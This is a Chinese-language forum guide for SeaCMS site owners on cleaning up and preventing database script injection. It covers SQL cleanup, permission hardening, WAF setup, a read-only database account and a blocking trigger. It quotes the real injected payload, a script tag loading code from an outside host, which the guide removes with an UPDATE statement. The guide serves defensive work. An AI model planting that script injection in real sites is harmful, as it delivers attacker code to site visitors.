*标题:★〓★海洋CMS★〓★ 数据库挂马防范及恢复方法
*链接:https://www.seacms.net/post-update-90557.htm
*版本 :v1.2
* 作者:nohacks(nohacks.cn)
*版权:目前只发表在海洋CMS论坛及作者博客,未经作者许可不得转载或做商业用途!
更新记录 :
2019.8.2 更新读写分离
前言 :
这些日子,不清楚什么状况,海洋CMS貌似被黑客盯上了,针对它的攻击非常频繁,作者虽然也是 及时更新,但是在找不出漏洞的情况下,很多站点还是不幸躺枪,包括本文作者的网站,针对这一情况,作者作了大量的研究工作结合网友的经验,特写此文以望给大家解忧,希望我做到了,谢谢大家!
正文:
目录:
1. 恢复方法
2. 防范方法
2.1 升级到最新版本
2.2 修改数据库密码
2.3 删除安装目录
2.4 数据库的所有数据表引擎转为InnoDB(可略)
2.5 开启网站防火墙(可略)
2.6 限制文件权限
2.7 服务器安装防护软件(可略)
2.8 限制数据库权限(可略)
2.9 修改数据库字段结构长度(可略)
2.10 利用SQL触发器实现安全过滤来防止挂马
待续。。。
1. 恢复方法
首先了解一下SQL的搜索替换命令,
update
[表名]
set
字段名 =
replace
(与前面一样的字段名,
'原本内容'
,
'想要替换成什么'
)
检测数据库,发现是在sea_data表,v_pic字段后面插入了下面代码:
"></script<script/**/src=https://www.qiuxiazx.com/data/velists.txt</script><a a=" 可以通过查看网页源码("view-source:https://www.xxx.com" ),搜索 "<script" 找到代码。
恢复数据方法,执行以下SQL语句:
update sea_data set v_pic = replace ( v_pic , '"></script ><script/**/src=https://www.qiuxiazx.com/data/velists.txt></script><a a="' , '' )
2. 防范方法 为了防止再次被入侵,我们必须做好下面措施: 2.1 升级到最新版本
最新版本一般修复了最新漏洞,需要及时更新。
2.2 修改数据库密码
修复后一定要修改数据库密码,攻击者可能已经获取数据库密码,修改后记得同步"/data/common.inc.php" 的SQL配置,不然网站无法使用。
2.3 删除安装目录(install)
攻击者可利用安装目录进行攻击,所以安装完后务必删除。
2.4 数据库的所有数据表引擎转为InnoDB
将数据库所有数据表引擎转为InnoDB,进一步加强安全性,宝塔-数据库-工具-MYSQL工具箱。
2.5 限制文件权限为只读
缓存设置为使用redis,设置网站根目录权限为只读权限 555,需要生成时设置 为755,完成后改回。
设置xml及uploads目录的读写权限为755。
js目录有需要也可设置为755权限,关系到广告生成及修改播放代码。
data目录下的文件为配置文件,为了安全,系统设置完毕后也设置权限为555,子目录为数据保存或缓存目录可设置为755权限。
2.6. 开启网站防火墙(可略)
这里只说下宝塔面板的设置,其他请自行查阅。
网站web服务建议使用nginx,这样可以免费使用其内置的lua防火墙,使用方法是修改配置文件,找到下面的代码:
http
{
include mime.types;
//include luawaf.conf;
去掉前面的注释符号 , 修改后变为:
http
{
include mime.types;
include luawaf.conf;
保存配置,然后修改其配置文件"/www/server/nginx/waf/config.lua",修改后如下:
RulePath = "/www/server/panel/vhost/wafconf/"
attacklog = "on"
logdir = "/www/wwwlogs/waf/"
UrlDeny="on"
Redirect="on"
CookieMatch="on"
postMatch="on"
whiteModule="on"
black_fileExt={"php","jsp"}
ipWhitelist={"127.0.0.1"}
ipBlocklist={"1.0.0.1"}
CCDeny="on"
CCrate="300/60" 表示开启所有防护,保存后重启nginx服务生效。
如果嫌麻烦,可以用收费插件。
2.7 服务器安装防护软件(可略)
宝塔建议云锁。
2.8. 数据库读写分离(可略)
2.8.1. 创建数据库只读账户
宝塔-数据库-管理 -用root账户登陆-账户- 新增用户账户
登陆信息:
user name : 使用文本域 ,新用户名
Host name: 本地 localhost
密码使用生成密码 记住密码
全局权限:
只打钩 SELECT
其它默认,点执行,然后切换到'数据库'选项卡,选择海洋cms数据表,执行
然后会再跳到指定数据库权限,也只打钩 SELECT 执行
完成后,点击账户,修改我们刚刚创建的账户,将文本域改为"127.0.0.1" 执行。
这样就创建OK了
2.8.2 .创建只读配置
<1> 复制"/data/common.inc.php"并重命名为'data.inc.php'
<2> 修改"/data/common.inc.php",将其中的"cfg_dbuser"后面引号内的账号修改为我们创建的只读账号,同样将"$cfg_dbpwd"后面引号内的密码修改为刚创建的密码,保存。
2.8.3.修改数据库调用代码
打开 "include/common.php",找到代码
//数据库配置文件
require_once(sea_DATA.'/common.inc.php'); 修改为:
//数据库配置文件
//require_once(sea_DATA.'/common.inc.php');
//设置允许读写数据库的脚本文件
$filekey=array('config.php','login.php','exit.php','ajax.php','err.php','gbook.php','admin_reslib.php','admin_reslib2.php');
//智能加载
require_once sea_DATA.((preg_match('#.*/(.*?\.php)#i',htmlentities($_SERVER['PHP_SELF']),$ref) && in_array($ref[1],$filekey)) || isset($uip) ? '/data.inc.php':'/common.inc.php'); 这样修改后,只有后台,统计,留言, 采集可以更新数据库。
2.9.修改数据库字段结构长度(可略)
海洋CMS数据库表"sea_data"字段 "v_pic"原结构长度为255 ,修改为char类型 110 或者 更低,看自己的图片长度而定。
这样操作后,挂马者添加木马数据时将会因为长度超出数据库结构限制而失败!
2.10 利用SQL触发器实现安全过滤来防止挂马
使用了这个方法后,"数据库读写分离"的步骤可以省略。
宝塔-数据库-管理 -用root账户登陆
选择海洋CMS数据库的sea_data表,选择右上角的触动器,添加触发器
如下图:
触发器名称:chack
表:sea_data
时机:BEFORG
事件:UPDATE
定义:
IF
INSTR( NEW.v_name,'script')> 0 OR
INSTR( NEW.v_pic,'script')> 0 OR
INSTR( NEW.v_actor,'script')> 0
THEN
SIGNAL SQLSTATE 'HY000' SET MESSAGE_TEXT = '请勿输入非法字符';
END IF 用户: 默认或为空
点击执行。
我们来测试一下:
update sea_data set v_name = '憨豆特工 script' WHERE v_id=1
==============
正文完
2019.8.2 by nohacks
测试站点: https://xymov.tv
待续。。
最后于 4月前
被nohacks编辑
,原因: 更新 数据库读写分离 修复bug
上传的附件: